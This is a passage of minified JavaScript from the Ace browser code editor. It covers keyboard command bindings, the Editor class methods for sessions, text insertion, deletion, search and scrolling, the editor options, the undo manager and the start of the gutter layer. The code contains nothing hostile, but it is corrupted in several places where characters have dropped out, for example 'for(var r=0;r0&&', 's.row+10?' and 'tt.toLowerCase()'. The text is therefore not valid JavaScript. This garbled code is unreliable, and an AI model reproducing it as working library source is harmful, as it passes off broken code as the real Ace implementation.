xec:function(e){e.undo()}},{name:"redo",bindKey:r("Ctrl-Shift-Z|Ctrl-Y","Command-Shift-Z|Command-Y"),exec:function(e){e.redo()}},{name:"copylinesup",bindKey:r("Alt-Shift-Up","Command-Option-Up"),exec:function(e){e.copyLinesUp()},scrollIntoView:"cursor"},{name:"movelinesup",bindKey:r("Alt-Up","Option-Up"),exec:function(e){e.moveLinesUp()},scrollIntoView:"cursor"},{name:"copylinesdown",bindKey:r("Alt-Shift-Down","Command-Option-Down"),exec:function(e){e.copyLinesDown()},scrollIntoView:"cursor"},{name:"movelinesdown",bindKey:r("Alt-Down","Option-Down"),exec:function(e){e.moveLinesDown()},scrollIntoView:"cursor"},{name:"del",bindKey:r("Delete","Delete|Ctrl-D|Shift-Delete"),exec:function(e){e.remove("right")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"backspace",bindKey:r("Shift-Backspace|Backspace","Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"),exec:function(e){e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"cut_or_delete",bindKey:r("Shift-Delete",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestart",bindKey:r("Alt-Backspace","Command-Backspace"),exec:function(e){e.removeToLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineend",bindKey:r("Alt-Delete","Ctrl-K|Command-Delete"),exec:function(e){e.removeToLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestarthard",bindKey:r("Ctrl-Shift-Backspace",null),exec:function(e){var t=e.selection.getRange();t.start.column=0,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineendhard",bindKey:r("Ctrl-Shift-Delete",null),exec:function(e){var t=e.selection.getRange();t.end.column=Number.MAX_VALUE,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordleft",bindKey:r("Ctrl-Backspace","Alt-Backspace|Ctrl-Alt-Backspace"),exec:function(e){e.removeWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordright",bindKey:r("Ctrl-Delete","Alt-Delete"),exec:function(e){e.removeWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"outdent",bindKey:r("Shift-Tab","Shift-Tab"),exec:function(e){e.blockOutdent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"indent",bindKey:r("Tab","Tab"),exec:function(e){e.indent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"blockoutdent",bindKey:r("Ctrl-[","Ctrl-["),exec:function(e){e.blockOutdent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"blockindent",bindKey:r("Ctrl-]","Ctrl-]"),exec:function(e){e.blockIndent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"insertstring",exec:function(e,t){e.insert(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"inserttext",exec:function(e,t){e.insert(n.stringRepeat(t.text||"",t.times||1))},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"splitline",bindKey:r(null,"Ctrl-O"),exec:function(e){e.splitLine()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"transposeletters",bindKey:r("Alt-Shift-X","Ctrl-T"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:"cursor"},{name:"touppercase",bindKey:r("Ctrl-U","Ctrl-U"),exec:function(e){e.toUpperCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"tolowercase",bindKey:r("Ctrl-Shift-U","Ctrl-Shift-U"),exec:function(e){e.toLowerCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"expandtoline",bindKey:r("Ctrl-Shift-L","Command-Shift-L"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"joinlines",bindKey:r(null,null),exec:function(e){for(var t=e.selection.isBackwards(),i=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),s=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),r=e.session.doc.getLine(i.row).length,a=e.session.doc.getTextRange(e.selection.getRange()),l=a.replace(/\n\s*/," ").length,c=e.session.doc.getLine(i.row),h=i.row+1;h<=s.row+1;h++){var u=n.stringTrimLeft(n.stringTrimRight(e.session.doc.getLine(h)));0!==u.length&&(u=" "+u),c+=u}s.row+10?(e.selection.moveCursorTo(i.row,i.column),e.selection.selectTo(i.row,i.column+l)):(r=e.session.doc.getLine(i.row).length>r?r+1:r,e.selection.moveCursorTo(i.row,r))},multiSelectAction:"forEach",readOnly:!0},{name:"invertSelection",bindKey:r(null,null),exec:function(e){var t=e.session.doc.getLength()-1,i=e.session.doc.getLine(t).length,n=e.selection.rangeList.ranges,s=[];n.length<1&&(n=[e.selection.getRange()]);for(var r=0;r0&&this.$blockScrolling--;var i=t&&t.scrollIntoView;if(i){switch(i){case"center-animate":i="animate";case"center":this.renderer.scrollCursorIntoView(null,.5);break;case"animate":case"cursor":this.renderer.scrollCursorIntoView();break;case"selectionPart":var n=this.selection.getRange(),s=this.renderer.layerConfig;(n.start.row>=s.lastRow||n.end.row<=s.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead);break;default:break}"animate"==i&&this.renderer.animateScrolling(this.curOp.scrollTop)}this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=["backspace","del","insertstring"],this.$historyTracker=function(e){if(this.$mergeUndoDeltas){var t=this.prevOp,i=this.$mergeableCommands,n=t.command&&e.command.name==t.command.name;if("insertstring"==e.command.name){var s=e.args;void 0===this.mergeNextCommand&&(this.mergeNextCommand=!0),n=n&&this.mergeNextCommand&&(!/\s/.test(s)||/\s/.test(t.args)),this.mergeNextCommand=!0}else n=n&&-1!==i.indexOf(e.command.name);"always"!=this.$mergeUndoDeltas&&Date.now()-this.sequenceStartTime>2e3&&(n=!1),n?this.session.mergeUndoDeltas=!0:-1!==i.indexOf(e.command.name)&&(this.sequenceStartTime=Date.now())}},this.setKeyboardHandler=function(e,t){if(e&&"string"===typeof e){this.$keybindingId=e;var i=this;A.loadModule(["keybinding",e],(function(n){i.$keybindingId==e&&i.keyBinding.setKeyboardHandler(n&&n.handler),t&&t()}))}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session!=e){this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.off("change",this.$onDocumentChange),this.session.off("changeMode",this.$onChangeMode),this.session.off("tokenizerUpdate",this.$onTokenizerUpdate),this.session.off("changeTabSize",this.$onChangeTabSize),this.session.off("changeWrapLimit",this.$onChangeWrapLimit),this.session.off("changeWrapMode",this.$onChangeWrapMode),this.session.off("changeFold",this.$onChangeFold),this.session.off("changeFrontMarker",this.$onChangeFrontMarker),this.session.off("changeBackMarker",this.$onChangeBackMarker),this.session.off("changeBreakpoint",this.$onChangeBreakpoint),this.session.off("changeAnnotation",this.$onChangeAnnotation),this.session.off("changeOverwrite",this.$onCursorChange),this.session.off("changeScrollTop",this.$onScrollTopChange),this.session.off("changeScrollLeft",this.$onScrollLeftChange);var i=this.session.getSelection();i.off("changeCursor",this.$onCursorChange),i.off("changeSelection",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.on("change",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.on("changeMode",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.on("tokenizerUpdate",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.on("changeTabSize",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.on("changeWrapLimit",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.on("changeWrapMode",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.on("changeFold",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.on("changeFrontMarker",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.on("changeBackMarker",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.on("changeBreakpoint",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.on("changeAnnotation",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.on("changeOverwrite",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.on("changeScrollTop",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.on("changeScrollLeft",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.on("changeCursor",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.on("changeSelection",this.$onSelectionChange),this.onChangeMode(),this.$blockScrolling+=1,this.onCursorChange(),this.$blockScrolling-=1,this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal("changeSession",{session:e,oldSession:t}),this.curOp=null,t&&t._signal("changeEditor",{oldEditor:this}),e&&e._signal("changeEditor",{editor:this}),e&&e.bgTokenizer&&e.bgTokenizer.scheduleStart()}},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?1==t?this.navigateFileEnd():-1==t&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption("fontSize")||s.computedStyle(this.container,"fontSize")},this.setFontSize=function(e){this.setOption("fontSize",e)},this.$highlightBrackets=function(){if(this.session.$bracketHighlight&&(this.session.removeMarker(this.session.$bracketHighlight),this.session.$bracketHighlight=null),!this.$highlightPending){var e=this;this.$highlightPending=!0,setTimeout((function(){e.$highlightPending=!1;var t=e.session;if(t&&t.bgTokenizer){var i=t.findMatchingBracket(e.getCursorPosition());if(i)var n=new g(i.row,i.column,i.row,i.column+1);else if(t.$mode.getMatching)n=t.$mode.getMatching(e.session);n&&(t.$bracketHighlight=t.addMarker(n,"ace_bracket","text"))}}),50)}},this.$highlightTags=function(){if(!this.$highlightTagPending){var e=this;this.$highlightTagPending=!0,setTimeout((function(){e.$highlightTagPending=!1;var t=e.session;if(t&&t.bgTokenizer){var i=e.getCursorPosition(),n=new v(e.session,i.row,i.column),s=n.getCurrentToken();if(!s||!/\b(?:tag-open|tag-name)/.test(s.type))return t.removeMarker(t.$tagHighlight),void(t.$tagHighlight=null);if(-1==s.type.indexOf("tag-open")||(s=n.stepForward(),s)){var o=s.value,r=0,a=n.stepBackward();if("<"==a.value)do{a=s,s=n.stepForward(),s&&s.value===o&&-1!==s.type.indexOf("tag-name")&&("<"===a.value?r++:"=0);else{do{s=a,a=n.stepBackward(),s&&s.value===o&&-1!==s.type.indexOf("tag-name")&&("<"===a.value?r++:"1||(e=!1)),t.$highlightLineMarker&&!e)t.removeMarker(t.$highlightLineMarker.id),t.$highlightLineMarker=null;else if(!t.$highlightLineMarker&&e){var i=new g(e.row,e.column,e.row,1/0);i.id=t.addMarker(i,"ace_active-line","screenLine"),t.$highlightLineMarker=i}else e&&(t.$highlightLineMarker.start.row=e.row,t.$highlightLineMarker.end.row=e.row,t.$highlightLineMarker.start.column=e.column,t._signal("changeBackMarker"))},this.onSelectionChange=function(e){var t=this.session;if(t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null,this.selection.isEmpty())this.$updateHighlightActiveLine();else{var i=this.selection.getRange(),n=this.getSelectionStyle();t.$selectionMarker=t.addMarker(i,"ace_selection",n)}var s=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(s),this._signal("changeSelection")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(!t.isEmpty()&&!t.isMultiLine()){var i=t.start.column-1,n=t.end.column+1,s=e.getLine(t.start.row),o=s.length,r=s.substring(Math.max(i,0),Math.min(n,o));if(!(i>=0&&/^[\w\d]/.test(r)||n<=o&&/[\w\d]$/.test(r))&&(r=s.substring(t.start.column,t.end.column),/^[\w\d]+$/.test(r))){var a=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:r});return a}}},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit("changeMode",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText();return this._signal("copy",e),e},this.onCopy=function(){this.commands.exec("copy",this)},this.onCut=function(){this.commands.exec("cut",this)},this.onPaste=function(e,t){var i={text:e,event:t};this.commands.exec("paste",this,i)},this.$handlePaste=function(e){"string"==typeof e&&(e={text:e}),this._signal("paste",e);var t=e.text;if(!this.inMultiSelectMode||this.inVirtualSelectionMode)this.insert(t);else{var i=t.split(/\r\n|\r|\n/),n=this.selection.rangeList.ranges;if(i.length>n.length||i.length<2||!i[1])return this.commands.exec("insertstring",this,t);for(var s=n.length;s--;){var o=n[s];o.isEmpty()||this.session.remove(o),this.session.insert(o.start,i[s])}}},this.execCommand=function(e,t){return this.commands.exec(e,this,t)},this.insert=function(e,t){var i=this.session,n=i.getMode(),s=this.getCursorPosition();if(this.getBehavioursEnabled()&&!t){var o=n.transformAction(i.getState(s.row),"insertion",this,i,e);o&&(e!==o.text&&(this.session.mergeUndoDeltas=!1,this.$mergeNextCommand=!1),e=o.text)}if("\t"==e&&(e=this.session.getTabString()),this.selection.isEmpty()){if(this.session.getOverwrite()&&-1==e.indexOf("\n")){r=new g.fromPoints(s,s);r.end.column+=e.length,this.session.remove(r)}}else{var r=this.getSelectionRange();s=this.session.remove(r),this.clearSelection()}if("\n"==e||"\r\n"==e){var a=i.getLine(s.row);if(s.column>a.search(/\S|$/)){var l=a.substr(s.column).search(/\S|$/);i.doc.removeInLine(s.row,s.column,s.column+l)}}this.clearSelection();var c=s.column,h=i.getState(s.row),u=(a=i.getLine(s.row),n.checkOutdent(h,a,e));i.insert(s,e);if(o&&o.selection&&(2==o.selection.length?this.selection.setSelectionRange(new g(s.row,c+o.selection[0],s.row,c+o.selection[1])):this.selection.setSelectionRange(new g(s.row+o.selection[0],o.selection[1],s.row+o.selection[2],o.selection[3]))),i.getDocument().isNewLine(e)){var d=n.getNextLineIndent(h,a.slice(0,s.column),i.getTabString());i.insert({row:s.row+1,column:0},d)}u&&n.autoOutdent(h,i,s.row)},this.onTextInput=function(e){this.keyBinding.onTextInput(e)},this.onCommandKey=function(e,t,i){this.keyBinding.onCommandKey(e,t,i)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption("scrollSpeed",e)},this.getScrollSpeed=function(){return this.getOption("scrollSpeed")},this.setDragDelay=function(e){this.setOption("dragDelay",e)},this.getDragDelay=function(){return this.getOption("dragDelay")},this.setSelectionStyle=function(e){this.setOption("selectionStyle",e)},this.getSelectionStyle=function(){return this.getOption("selectionStyle")},this.setHighlightActiveLine=function(e){this.setOption("highlightActiveLine",e)},this.getHighlightActiveLine=function(){return this.getOption("highlightActiveLine")},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.setHighlightSelectedWord=function(e){this.setOption("highlightSelectedWord",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption("readOnly",e)},this.getReadOnly=function(){return this.getOption("readOnly")},this.setBehavioursEnabled=function(e){this.setOption("behavioursEnabled",e)},this.getBehavioursEnabled=function(){return this.getOption("behavioursEnabled")},this.setWrapBehavioursEnabled=function(e){this.setOption("wrapBehavioursEnabled",e)},this.getWrapBehavioursEnabled=function(){return this.getOption("wrapBehavioursEnabled")},this.setShowFoldWidgets=function(e){this.setOption("showFoldWidgets",e)},this.getShowFoldWidgets=function(){return this.getOption("showFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.remove=function(e){this.selection.isEmpty()&&("left"==e?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var i=this.session,n=i.getState(t.start.row),s=i.getMode().transformAction(n,"deletion",this,i,t);if(0===t.end.column){var o=i.getTextRange(t);if("\n"==o[o.length-1]){var r=i.getLine(t.end.row);/^\s+$/.test(r)&&(t.end.column=r.length)}}s&&(t=s)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert("\n"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(this.selection.isEmpty()){var e=this.getCursorPosition(),t=e.column;if(0!==t){var i,n,s=this.session.getLine(e.row);tt.toLowerCase()?1:0}));var s=new g(0,0,0,0);for(n=e.first;n<=e.last;n++){var o=t.getLine(n);s.start.row=n,s.end.row=n,s.end.column=o.length,t.replace(s,i[n-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),i=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,i,e)},this.getNumberAt=function(e,t){var i=/[\-]?[0-9]+(?:\.[0-9]+)?/g;i.lastIndex=0;var n=this.session.getLine(e);while(i.lastIndex=t){var o={value:s[0],start:s.index,end:s.index+s[0].length};return o}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,i=this.selection.getCursor().column,n=new g(t,i-1,t,i),s=this.session.getTextRange(n);if(!isNaN(parseFloat(s))&&isFinite(s)){var o=this.getNumberAt(t,i);if(o){var r=o.value.indexOf(".")>=0?o.start+o.value.indexOf(".")+1:o.end,a=o.start+o.value.length-r,l=parseFloat(o.value);l*=Math.pow(10,a),r!==o.end&&ig+1)break;g=f.last}h--,a=this.session.$moveLines(d,g,t?0:e),t&&-1==e&&(u=h+1);while(u<=h)r[u].moveBy(a,0),u++;t||(a=0),l+=a}s.fromOrientedRange(s.ranges[0]),s.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(this.getCursorPosition())},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var i=this.renderer,n=this.renderer.layerConfig,s=e*Math.floor(n.height/n.lineHeight);this.$blockScrolling++,!0===t?this.selection.$moveSelection((function(){this.moveCursorBy(s,0)})):!1===t&&(this.selection.moveCursorBy(s,0),this.selection.clearSelection()),this.$blockScrolling--;var o=i.scrollTop;i.scrollBy(0,s*n.lineHeight),null!=t&&i.scrollCursorIntoView(null,.5),i.animateScrolling(o)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,i,n){this.renderer.scrollToLine(e,t,i,n)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.$blockScrolling+=1,this.selection.selectAll(),this.$blockScrolling-=1},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var i=this.getCursorPosition(),n=new v(this.session,i.row,i.column),s=n.getCurrentToken(),o=s||n.stepForward();if(o){var r,a,l=!1,c={},h=i.column-o.start,u={")":"(","(":"(","]":"[","[":"[","{":"{","}":"{"};do{if(o.value.match(/[{}()\[\]]/g)){for(;h=0;--o)this.$tryReplace(i[o],e)&&n++;return this.selection.setSelectionRange(s),this.$blockScrolling-=1,n},this.$tryReplace=function(e,t){var i=this.session.getTextRange(e);return t=this.$search.replace(i,t),null!==t?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,i){t||(t={}),"string"==typeof e||e instanceof RegExp?t.needle=e:"object"==typeof e&&n.mixin(t,e);var s=this.selection.getRange();null==t.needle&&(e=this.session.getTextRange(s)||this.$search.$options.needle,e||(s=this.session.getWordRange(s.start.row,s.start.column),e=this.session.getTextRange(s)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:s});var o=this.$search.find(this.session);return t.preventScroll?o:o?(this.revealRange(o,i),o):(t.backwards?s.start=s.end:s.end=s.start,void this.selection.setRange(s))},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.$blockScrolling+=1,this.session.unfold(e),this.selection.setSelectionRange(e),this.$blockScrolling-=1;var i=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),!1!==t&&this.renderer.animateScrolling(i)},this.undo=function(){this.$blockScrolling++,this.session.getUndoManager().undo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.$blockScrolling++,this.session.getUndoManager().redo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.renderer.destroy(),this._signal("destroy",this),this.session&&this.session.destroy()},this.setAutoScrollEditorIntoView=function(e){if(e){var t,i=this,n=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement("div"));var s=this.$scrollAnchor;s.style.cssText="position:absolute",this.container.insertBefore(s,this.container.firstChild);var o=this.on("changeSelection",(function(){n=!0})),r=this.renderer.on("beforeRender",(function(){n&&(t=i.renderer.container.getBoundingClientRect())})),a=this.renderer.on("afterRender",(function(){if(n&&t&&(i.isFocused()||i.searchBox&&i.searchBox.isFocused())){var e=i.renderer,o=e.$cursorLayer.$pixelPos,r=e.layerConfig,a=o.top-r.offset;n=o.top>=0&&a+t.top<0||!(o.topwindow.innerHeight)&&null,null!=n&&(s.style.top=a+"px",s.style.left=o.left+"px",s.style.height=r.lineHeight+"px",s.scrollIntoView(n)),n=t=null}}));this.setAutoScrollEditorIntoView=function(e){e||(delete this.setAutoScrollEditorIntoView,this.off("changeSelection",o),this.renderer.off("afterRender",a),this.renderer.off("beforeRender",r))}}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||"ace",t=this.renderer.$cursorLayer;t&&(t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&"wide"!=e,s.setCssClass(t.element,"ace_slim-cursors",/slim/.test(e)))}}.call(C.prototype),A.defineOptions(C.prototype,"editor",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal("changeSelectionStyle",{data:e})},initialValue:"line"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.$resetCursorStyle()},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:["ace","slim","smooth","wide"],initialValue:"ace"},mergeUndoDeltas:{values:[!1,!0,"always"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},keyboardHandler:{set:function(e){this.setKeyboardHandler(e)},get:function(){return this.keybindingId},handlesSet:!0},hScrollBarAlwaysVisible:"renderer",vScrollBarAlwaysVisible:"renderer",highlightGutterLine:"renderer",animatedScroll:"renderer",showInvisibles:"renderer",showPrintMargin:"renderer",printMarginColumn:"renderer",printMargin:"renderer",fadeFoldWidgets:"renderer",showFoldWidgets:"renderer",showLineNumbers:"renderer",showGutter:"renderer",displayIndentGuides:"renderer",fontSize:"renderer",fontFamily:"renderer",maxLines:"renderer",minLines:"renderer",scrollPastEnd:"renderer",fixedWidthGutter:"renderer",theme:"renderer",scrollSpeed:"$mouseHandler",dragDelay:"$mouseHandler",dragEnabled:"$mouseHandler",focusTimout:"$mouseHandler",tooltipFollowsMouse:"$mouseHandler",firstLineNumber:"session",overwrite:"session",newLineMode:"session",useWorker:"session",useSoftTabs:"session",tabSize:"session",wrap:"session",indentedSoftWrap:"session",foldStyle:"session",mode:"session"}),t.Editor=C})),ace.define("ace/undomanager",["require","exports","module"],(function(e,t,i){"use strict";var n=function(){this.reset()};(function(){function e(e){return{action:e.action,start:e.start,end:e.end,lines:1==e.lines.length?null:e.lines,text:1==e.lines.length?e.lines[0]:null}}function t(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines||[e.text]}}function i(e,t){for(var i=new Array(e.length),n=0;n0},this.hasRedo=function(){return this.$redoStack.length>0},this.markClean=function(){this.dirtyCounter=0},this.isClean=function(){return 0===this.dirtyCounter},this.$serializeDeltas=function(t){return i(t,e)},this.$deserializeDeltas=function(e){return i(e,t)}}).call(n.prototype),t.UndoManager=n})),ace.define("ace/layer/gutter",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/oop"),o=e("../lib/lang"),r=e("../lib/event_emitter").EventEmitter,a=function(e){this.element=n.createElement("div"),this.element.className="ace_layer ace_gutter-layer",e.appendChild(this.element),this.setShowFoldWidgets(this.$showFoldWidgets),this.gutterWidth=0,this.$annotations=[],this.$updateAnnotations=this.$updateAnnotations.bind(this),this.$cells=[]};(function(){s.implement(this,r),this.setSession=function(e){this.session&&this.session.removeEventListener("change",this.$updateAnnotations),this.session=e,e&&e.on("change",this.$updateAnnotations)},this.addGutterDecoration=function(e,t){window.console&&console.warn&&console.warn("deprecated use 